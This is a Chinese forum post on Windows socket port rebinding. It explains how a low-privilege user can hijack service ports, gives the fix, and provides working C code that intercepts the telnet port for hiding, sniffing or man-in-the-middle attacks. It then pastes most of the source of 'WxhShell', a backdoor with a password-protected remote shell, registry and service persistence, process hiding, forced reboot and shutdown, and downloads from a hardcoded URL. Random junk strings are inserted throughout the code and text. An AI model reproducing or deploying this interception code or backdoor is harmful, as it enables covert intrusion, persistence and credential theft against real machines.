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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _dRn0<#1(k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]#Z$jq{,  
"}y3@ M^  
  saddr.sin_family = AF_INET; cJp1 <R  
UmHJ/DI@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tMs| UC  
c#4ZDjvm6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 28ov+s~1+-  
";!1(xZr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wb-'E%K  
.L 5T4)  
  这意味着什么?意味着可以进行如下的攻击: /`]|_>'  
MCO$>QL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HT;QepY3  
myo~Qqt?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oXZ@*   
%RR|QY*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2K7:gd8Ru  
G^eFS;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8 ~L.6c5U  
:!it7vZ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YH'.Yj2  
{/VL\AW5$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T>:g ME  
CIs1*:Q9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n;T  
mjr{L{H=?+  
  #include MxvxY,~{0  
  #include /)OO)B-r  
  #include [T?6~^m=  
  #include    rgY?X$1q_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^Y*.Ktp,o  
  int main() >j~70 ?  
  { KcyM2hE7  
  WORD wVersionRequested; SvpTs  
  DWORD ret; oDiv9 jm  
  WSADATA wsaData; 5r}(|86O/  
  BOOL val; JdNPfkOF  
  SOCKADDR_IN saddr; -<^Q2]PE;  
  SOCKADDR_IN scaddr; w+TuS).  
  int err; cLk+( dn  
  SOCKET s; 3<Y;mA=hw  
  SOCKET sc; (Y@|h%1W  
  int caddsize; */h 9"B  
  HANDLE mt; Ku,A}5-6  
  DWORD tid;   @T=HcUP)  
  wVersionRequested = MAKEWORD( 2, 2 ); o2U J*4  
  err = WSAStartup( wVersionRequested, &wsaData ); 4!RI2?4V  
  if ( err != 0 ) { xM"XNT6b  
  printf("error!WSAStartup failed!\n"); J_br%AG<p  
  return -1; -`1L[-<d=/  
  } YVV $g-D}  
  saddr.sin_family = AF_INET; 1|$Rzt%ge  
   7^e}|l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5|={1Lp24g  
2Mi;}J1C{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G:s:NXy^  
  saddr.sin_port = htons(23); yX Q;LQ;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /XK`v=~(l{  
  { 'r <BaL  
  printf("error!socket failed!\n"); o5A_j?t  
  return -1; L|'ME| '  
  } DG FvRB  
  val = TRUE; rKO*A7vE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {Ag}P0% '  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'aWZ#GS*  
  { )Ea_:C'  
  printf("error!setsockopt failed!\n"); u1Yp5jp^K  
  return -1; zt%Fvn4/pF  
  } u(a&x|WY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,H1~_|)<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~7H.<kJt  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 uk/+ i`=  
6)YNjh.{ *  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }iloX#  
  { vw6FvE`lC  
  ret=GetLastError(); -$ft `Ih  
  printf("error!bind failed!\n"); W"@lFUi  
  return -1; ?LFSR  
  } T#f@8 -XUE  
  listen(s,2); }}Uv0g8D  
  while(1) ZEJa dR  
  { ~jTn jx  
  caddsize = sizeof(scaddr); 8{<cqYCR  
  //接受连接请求 >Tx;<G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 'Mqa2o'M  
  if(sc!=INVALID_SOCKET) {G&g+9c&  
  { iR OM?/$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]}l!L;  
  if(mt==NULL) @S92D6  
  { /Q_\h+ `  
  printf("Thread Creat Failed!\n"); FI5C&d5d  
  break; ![tI(TPq  
  } O waXG/z~  
  } "c*|vE  
  CloseHandle(mt); h)`vc#"65k  
  } &Hxr3[+$  
  closesocket(s); I\23as0q  
  WSACleanup();  Nf'9]I  
  return 0; 1ouTZ'c?  
  }   FCPRg^=<!~  
  DWORD WINAPI ClientThread(LPVOID lpParam) E9hWn0 e  
  { &O)mPnx`  
  SOCKET ss = (SOCKET)lpParam; /XB1U[b  
  SOCKET sc; M(jH"u&f  
  unsigned char buf[4096]; ^*Fkt(ida  
  SOCKADDR_IN saddr; G#v7-&Yl6  
  long num; G9q0E|  
  DWORD val; }VRo:sJb  
  DWORD ret; T5;D0tM/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D ]eF3a.G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0k 8SDRWU  
  saddr.sin_family = AF_INET; |VL,\&7rk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,Pm/ci( s  
  saddr.sin_port = htons(23); 0%/(p?]M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s#[Ej&2[=  
  { b1 cd5  
  printf("error!socket failed!\n"); opC11c/  
  return -1; wP9C\W;  
  } 8hg(6 XUG  
  val = 100; uzsN#'7=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Q!j7I  
  { CHB{P\WF  
  ret = GetLastError(); urB.K<5ZA  
  return -1; W| p?KJk)  
  } |&Q=9H*e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o_n.,=/cZ  
  { }2@$2YR[  
  ret = GetLastError(); dp"w=~53  
  return -1; ngjbE+  
  } E \RU[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .y!Hw{cq  
  { ($TxVFNT  
  printf("error!socket connect failed!\n"); !l|Qyk[  
  closesocket(sc); /a_|oCeC}  
  closesocket(ss); "$&F]0  
  return -1; o6R(BMwGa  
  } ES>3Cf  
  while(1) r.GjM#X  
  { ?8 F7BS4oQ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZU|nKt<GK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fk4 3sqU6~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +l9avy+P (  
  num = recv(ss,buf,4096,0); ?cvv!2B]T  
  if(num>0) eD3F%wxz  
  send(sc,buf,num,0); a#1X)ot  
  else if(num==0) jDoWSYu4tY  
  break; D-.>Dw:  
  num = recv(sc,buf,4096,0); `3-j%H2R  
  if(num>0) bCF63(0  
  send(ss,buf,num,0); -1R~3j1_  
  else if(num==0) C*9m `xh  
  break; OW>U 5 \q  
  } UnPSJ]VW  
  closesocket(ss); ?>_.~b ~  
  closesocket(sc); l;2bBx7vW  
  return 0 ; f { ueI<  
  } T^'i+>F!w  
HUJ $e2[  
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========================================================== vcmS]$}  
]k8XLgJ  
下边附上一个代码,,WXhSHELL r\] WDX!`  
BK{8\/dg  
========================================================== P7o6B,9  
bk<3oI  
#include "stdafx.h" _#_Ab8#  
SnqLF /d  
#include <stdio.h> Rq*m x<HDX  
#include <string.h> C{) )T5G  
#include <windows.h> {^qc`oF  
#include <winsock2.h> 1/m/Iw@  
#include <winsvc.h> )Mok$  
#include <urlmon.h> !|!V}O  
ZjcJYtD  
#pragma comment (lib, "Ws2_32.lib") o+na`ed  
#pragma comment (lib, "urlmon.lib") vV|egmw01  
4-m%[D |W  
#define MAX_USER   100 // 最大客户端连接数 ^Ni)gm{?k  
#define BUF_SOCK   200 // sock buffer f,1rmX1  
#define KEY_BUFF   255 // 输入 buffer VltWY'\Wu;  
FKQnz/  
#define REBOOT     0   // 重启 IE6/ E  
#define SHUTDOWN   1   // 关机 ^uj+d"a)  
Jx}5`{\  
#define DEF_PORT   5000 // 监听端口 4k#6)e  
*<hpq)  
#define REG_LEN     16   // 注册表键长度 =$'Zmb [D  
#define SVC_LEN     80   // NT服务名长度 p)oW'#@a  
Q>rQ/V  
// 从dll定义API TKE)NIa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }PXWRv.gW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H [v~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'G^=>=w|Nv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >GcFk&x  
3w@)/ujn  
// wxhshell配置信息 UJZa1p@L  
struct WSCFG { T/3UF  
  int ws_port;         // 监听端口 ;(afz?T  
  char ws_passstr[REG_LEN]; // 口令 XBc+_=)$  
  int ws_autoins;       // 安装标记, 1=yes 0=no OYKV*  
  char ws_regname[REG_LEN]; // 注册表键名 v!x[1[  
  char ws_svcname[REG_LEN]; // 服务名 j)uIe)wZw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /L~*FQQK>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 RI`A<*>w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 " JRlj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OT[t EqQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -P?} qy^j(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '%MIG88  
@bPJ}C  
}; 6Q`ce!~$  
& dS+!<3  
// default Wxhshell configuration rS jC/O&b  
struct WSCFG wscfg={DEF_PORT, 52~k:"c  
    "xuhuanlingzhe", 9\;EX  
    1, q^Z\V?  
    "Wxhshell", ZTun{Dw{  
    "Wxhshell", ~}5(J,1!  
            "WxhShell Service", ,lUo@+  
    "Wrsky Windows CmdShell Service", &sRyM'XI  
    "Please Input Your Password: ", c:iMbJOn#  
  1, +VeLd+Q}  
  "http://www.wrsky.com/wxhshell.exe", qm '$R3g  
  "Wxhshell.exe" ,^[s4 =3X?  
    }; uZ^i8;i  
2rH6ap  
// 消息定义模块 ]uZH  0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FlZ]R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t EeMl =u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3S9~rLrn?  
char *msg_ws_ext="\n\rExit."; WX[y cm8  
char *msg_ws_end="\n\rQuit."; gV7o eZ5  
char *msg_ws_boot="\n\rReboot..."; E|TzrH  
char *msg_ws_poff="\n\rShutdown..."; ~% c->\Q  
char *msg_ws_down="\n\rSave to "; +2g3%c0}  
V+8+ 17^  
char *msg_ws_err="\n\rErr!"; ^T[ #rNkeL  
char *msg_ws_ok="\n\rOK!"; ?R+$4;iy  
ZQ:Y5 ph  
char ExeFile[MAX_PATH]; B^qB6:\t  
int nUser = 0; aZ^lI 6@+4  
HANDLE handles[MAX_USER]; ; YRZg|Zw  
int OsIsNt; H0HYb\TX?  
v!uLd.(  
SERVICE_STATUS       serviceStatus; \Q$);:=q Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +u#x[xO  
jyC6:BNust  
// 函数声明 $_VD@YlAp  
int Install(void); zk]~cG5dT/  
int Uninstall(void); WIghP5%W  
int DownloadFile(char *sURL, SOCKET wsh); 8ah]D  
int Boot(int flag); pGFocw  
void HideProc(void); 3LmHH =  
int GetOsVer(void); S]N4o'K}q  
int Wxhshell(SOCKET wsl); V;V9_qP,  
void TalkWithClient(void *cs); @^e@.)  
int CmdShell(SOCKET sock); %F~ dmA#:  
int StartFromService(void); " duJl-  
int StartWxhshell(LPSTR lpCmdLine); Ojs\2('u  
(}:xs,Ax  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B]vj1m`9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SS`C0&I@p  
YV msWuF  
// 数据结构和表定义 E;sltl  
SERVICE_TABLE_ENTRY DispatchTable[] = !8g y)2  
{ 4Y!v$r  
{wscfg.ws_svcname, NTServiceMain}, !=we7vK}  
{NULL, NULL} `FwAlYJK  
}; <'-me09C*  
v<wT`hiKW  
// 自我安装 Go|65Z\`7M  
int Install(void) riL!]'akV  
{ JF gN  
  char svExeFile[MAX_PATH]; UU/|s>F  
  HKEY key; sn( }5;  
  strcpy(svExeFile,ExeFile); =X*E(.6Ip  
>UMnItq(l  
// 如果是win9x系统,修改注册表设为自启动 `Nn?G  
if(!OsIsNt) { s__g*%@B b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z ux2VepT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A=K1T]o  
  RegCloseKey(key); ~'3% Qr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0=B5 =qyw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X\%3uPQ  
  RegCloseKey(key); MeX1y]<It  
  return 0; >y[S?M  
    } jH1~Ve+q9  
  } 9YABr> ?  
} mxGN[ %ve  
else { M6iKl  
k:Q<Uanc[  
// 如果是NT以上系统,安装为系统服务 AHGcWS\,X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K }BX6dA  
if (schSCManager!=0) R 28*  
{ v%5(-  
  SC_HANDLE schService = CreateService vEGK{rMA  
  ( j&.BbcE45  
  schSCManager, *q{UipZbx  
  wscfg.ws_svcname, T#7^6Ks+1  
  wscfg.ws_svcdisp, [2V/v  
  SERVICE_ALL_ACCESS, &v,p_'k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @g~sgE}#  
  SERVICE_AUTO_START, T*yveo &j  
  SERVICE_ERROR_NORMAL, 8BDL{?Mu  
  svExeFile, m12 B:f  
  NULL, m{c#cR  
  NULL, tpONSRY  
  NULL, %SCu29km  
  NULL, +`-a*U94  
  NULL W?-BT >#s  
  ); @U@yIv  
  if (schService!=0) <>_Wd AOuD  
  { +;;%Atgn  
  CloseServiceHandle(schService); Z;D3lbqE  
  CloseServiceHandle(schSCManager); A#&qoZ(C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bq-\'h f<  
  strcat(svExeFile,wscfg.ws_svcname); ;NE/!!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nX%'o`f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u^%')Ncp  
  RegCloseKey(key); _9|@nUD  
  return 0; y#;VGf6lj  
    } vp-7>Wj  
  } #%b()I_([  
  CloseServiceHandle(schSCManager); I?Fa  
} )OC[;>F7  
} L]N2r MM  
&>.1%x@R  
return 1; z/k~+-6O  
} L^1q/4${  
;<@6f@  
// 自我卸载  iLcadX  
int Uninstall(void) ^jjJM|a  
{ a9zph2o-  
  HKEY key; E(kpK5h{  
~PW}sN6ppG  
if(!OsIsNt) { yVQz<tX|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |!5T+H{Sj  
  RegDeleteValue(key,wscfg.ws_regname); r5fkt>HZ  
  RegCloseKey(key); .y9rM{h}b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cN}A rv  
  RegDeleteValue(key,wscfg.ws_regname); $1zeY6O  
  RegCloseKey(key); F%Umau*1  
  return 0; tO>OD#  
  } 1idjX"'  
} 8pMZ~W;  
} " IkF/  
else { L Yg$M@  
Po11EZa$a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \*!%YTZ~  
if (schSCManager!=0) ^}/ E~Sg7\  
{ o/ g+Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6Y_O^f  
  if (schService!=0) Xe3z6  
  { G<-9U}~76  
  if(DeleteService(schService)!=0) { dF11Rj,~ 8  
  CloseServiceHandle(schService); Rk jKIa  
  CloseServiceHandle(schSCManager); 7M#$: Fdb  
  return 0; Y:!/4GF  
  } a$zm/  
  CloseServiceHandle(schService); ,C,e/>+My  
  } e(=~K@m  
  CloseServiceHandle(schSCManager); m7wc)"`t  
} acYoOW1G  
} oz0n$`O$/  
x"l lX  
return 1; [zTYiNa  
} 56=K@$L {F  
0I>?_?~l6  
// 从指定url下载文件 g t^]32$  
int DownloadFile(char *sURL, SOCKET wsh) F'>GN}n  
{ 3Da,] w<  
  HRESULT hr; #ON#4WD?  
char seps[]= "/"; ELrZ8&5G  
char *token; o~o6S=4,}  
char *file; 2Z;`#{  
char myURL[MAX_PATH]; > 0Twr  
char myFILE[MAX_PATH]; eN| HJ=  
3:~l2KIP4  
strcpy(myURL,sURL); 9oj e`Ay  
  token=strtok(myURL,seps);  [ }p  
  while(token!=NULL) (Q@+v<   
  { <=m 30{;f  
    file=token; E)80S.V  
  token=strtok(NULL,seps); %uz|NRB=  
  } $d2kHT  
l~fh_IV1  
GetCurrentDirectory(MAX_PATH,myFILE); QxL@'n#5   
strcat(myFILE, "\\"); '"xL}8HX}  
strcat(myFILE, file); ?@lx  
  send(wsh,myFILE,strlen(myFILE),0); 'Vm5Cs$  
send(wsh,"...",3,0); N /sEec  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |.Nr.4Yp  
  if(hr==S_OK) A#Q0{z@H  
return 0; tKG;k"wk  
else 'NT#(m%  
return 1; VBbUl|X\  
pYLY;qkG"  
} g,n-s+  
QIij>!c4  
// 系统电源模块 S_T{L  
int Boot(int flag) [}A_uOGEP  
{ MtZt8s  
  HANDLE hToken; qPXANx<^  
  TOKEN_PRIVILEGES tkp; aQ!9#d_D  
pAJ=f}",]E  
  if(OsIsNt) { *Nv y+V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I"8d5a}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o{{:|%m3Q  
    tkp.PrivilegeCount = 1; ->&BcPLn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; < 72s7*Rv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ERp:EZ'  
if(flag==REBOOT) { $kxu;I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  &7L~PZ  
  return 0; ",~ b2]ym  
} U;';"9C2>  
else { 457fT|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 1o@b  
  return 0; X+`ddX  
} xNC* ]8d  
  } gq H`GI  
  else { P<>[e9|  
if(flag==REBOOT) { =gW"#ZjL){  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /J1S@-  
  return 0; u{g]gA8s  
} ]~?S~l%  
else { }x:\69$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2-8YSHlh  
  return 0; 'is,^q:@  
} ..??O^   
} @ \!KF*v  
NlA*\vco  
return 1; l*QIoRYFW  
} h^%GE;N  
S8*^ss>?^R  
// win9x进程隐藏模块 hX0RET  
void HideProc(void) ,"@w>WL<9  
{ a;56k  
G{ F6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ])N|[|$  
  if ( hKernel != NULL ) TRSOO}  
  { hbV E; 9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j'k8^*M6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,`D/sNP ,q  
    FreeLibrary(hKernel); (})]H:W7  
  } ~;}\zKQKE  
+*n] tlk  
return; $=\d1%_R|  
} *]FgfttES  
A)OdQFet(  
// 获取操作系统版本 D._{E*vg  
int GetOsVer(void) l &}piC  
{ ';_1rh  
  OSVERSIONINFO winfo; lrCm9Oy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s;s0}Td_1  
  GetVersionEx(&winfo); ,(6)ghr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3b#L17D3_  
  return 1; R'Sa?6xS4  
  else 6e*%\2UA  
  return 0; U> W|(Y  
} T]^?l  
P=2wkzeJj  
// 客户端句柄模块 QQ*gFP.Ao  
int Wxhshell(SOCKET wsl) >Q&CgGpW$  
{ w_\nB}_  
  SOCKET wsh; M/*Bh,M`  
  struct sockaddr_in client; ^Fn%K].X  
  DWORD myID; Ocybc%  
nZ~kZ |VS  
  while(nUser<MAX_USER) Qr<AV:  
{ wXz\NGW  
  int nSize=sizeof(client); 18jJzYawh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !-7_ +v>  
  if(wsh==INVALID_SOCKET) return 1; v3 -5"q!Sq  
V5~fMsse  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xF&6e&nv  
if(handles[nUser]==0) ?gU}[]  
  closesocket(wsh); ]{<saAmJC  
else ti}f&w ICJ  
  nUser++; kY=rz&?U  
  } ,}KwP*:Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hv3;irK]&  
KyjyjfIwH  
  return 0; M%3Wy"YQ,n  
} Cpe#[mE  
Zd$JW=KR]l  
// 关闭 socket t-x[:i  
void CloseIt(SOCKET wsh) C\OECVT  
{ ]Y{,Nx  
closesocket(wsh); Q<1L`_.>  
nUser--; fa4=h;>a+  
ExitThread(0); z" EWj73  
} 7|Xe&o<n  
UoHd-  
// 客户端请求句柄 ##v`(#fu  
void TalkWithClient(void *cs) 0iV;g`%  
{ f}2;N  
St+ "ih%  
  SOCKET wsh=(SOCKET)cs; nZxSMN0]  
  char pwd[SVC_LEN]; Ch t%uzb,  
  char cmd[KEY_BUFF]; GB =bG%Tb  
char chr[1]; @`S.@^%7fO  
int i,j; F{\=PCZ>7  
e?P%wqB  
  while (nUser < MAX_USER) { Kr]z]4.d@  
sBU_Ft  
if(wscfg.ws_passstr) { modC6d%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 85D? dgV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x9&p!&*&IT  
  //ZeroMemory(pwd,KEY_BUFF); 7E\g &R.  
      i=0; TM-Fu([LMV  
  while(i<SVC_LEN) { "Vy WT  
Im+ 7<3Z  
  // 设置超时 f3 vF"O  
  fd_set FdRead; '60//"9>k/  
  struct timeval TimeOut; Bzw19S6y  
  FD_ZERO(&FdRead); VX!hv`E  
  FD_SET(wsh,&FdRead); qe%V#c  
  TimeOut.tv_sec=8; bb1  f/C%  
  TimeOut.tv_usec=0; |z*>ixK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , D"]y~~I5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $UC{"0  
5gshKmt_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  n}OU Y  
  pwd=chr[0]; kC`Rd:5  
  if(chr[0]==0xd || chr[0]==0xa) { o0mJy'  
  pwd=0; S/7l/DFb  
  break; F&az":  
  } ;A"\?i Q  
  i++; :j,}{)5=  
    } X!c?CL  
x*q35K^PE  
  // 如果是非法用户,关闭 socket 8wmQ4){  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M4:s;@qZ.  
} WFDCPQ@  
t^U^Tr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J>h;_jA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2Wl{Br.  
#xp(B5  
while(1) { ) EXJ   
JD lBVZ!  
  ZeroMemory(cmd,KEY_BUFF); RRzP* A%=  
q.T:0|  
      // 自动支持客户端 telnet标准   ix*muVBj.  
  j=0; u"Y]P*[k  
  while(j<KEY_BUFF) { $.8 H>c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $^h?:L:1n  
  cmd[j]=chr[0]; !_x*m@/  
  if(chr[0]==0xa || chr[0]==0xd) { -_>.f(1  
  cmd[j]=0; B^q<2S;  
  break; @GeHWv  
  } Mudrg[@ `  
  j++; >];"N{ A  
    } ir&.Z5=  
E9$H nj+m  
  // 下载文件 e=>% ^F  
  if(strstr(cmd,"http://")) { ch })ivFP[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j^ EbO3  
  if(DownloadFile(cmd,wsh)) lT,+bU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : Ss3ck*=  
  else rQj~[Y.c  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |GuEGmR  
  } 2f..sNz  
  else { XU9'Rfp  
38Efp$)  
    switch(cmd[0]) { u-.L^!k  
  '9q6aM/&  
  // 帮助 f#OQ (WTJE  
  case '?': { _tWE8 r,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I7G,`h+H  
    break; H(> M   
  } R|Y~u*D  
  // 安装 %),!2_ x~  
  case 'i': { ea~i-7  
    if(Install()) Z %EQt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9-fX(I  
    else _]o5R7[MQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &yLc1#H  
    break; 6?o>{e7n^  
    } VQ<5%+  
  // 卸载 d~`-AC+  
  case 'r': { |M E{gy`5  
    if(Uninstall()) o](.368+4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIGs>, a=  
    else y<M]dd$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (\vXA4Oa,  
    break; !<r8~A3!(  
    } q[c Etp28h  
  // 显示 wxhshell 所在路径 Eem g  
  case 'p': { 6LM9e0oxy  
    char svExeFile[MAX_PATH]; fU ={a2  
    strcpy(svExeFile,"\n\r"); @?a4i  
      strcat(svExeFile,ExeFile); %nQmFIt  
        send(wsh,svExeFile,strlen(svExeFile),0); TzrW   
    break; VDiOO  
    } \h#9oPy  
  // 重启 =v 0~[ E4  
  case 'b': { f3n~{a,[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /qXzOd  
    if(Boot(REBOOT)) rzT{-DZB[4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ke6n/ h5`  
    else { X6kaL3L}  
    closesocket(wsh); P` ]ps?l  
    ExitThread(0); a8QfkOe  
    } PL@7 KD Q  
    break; 4J}3,+  
    } D|TR!  
  // 关机 !I7?  
  case 'd': { j@t{@Ke  
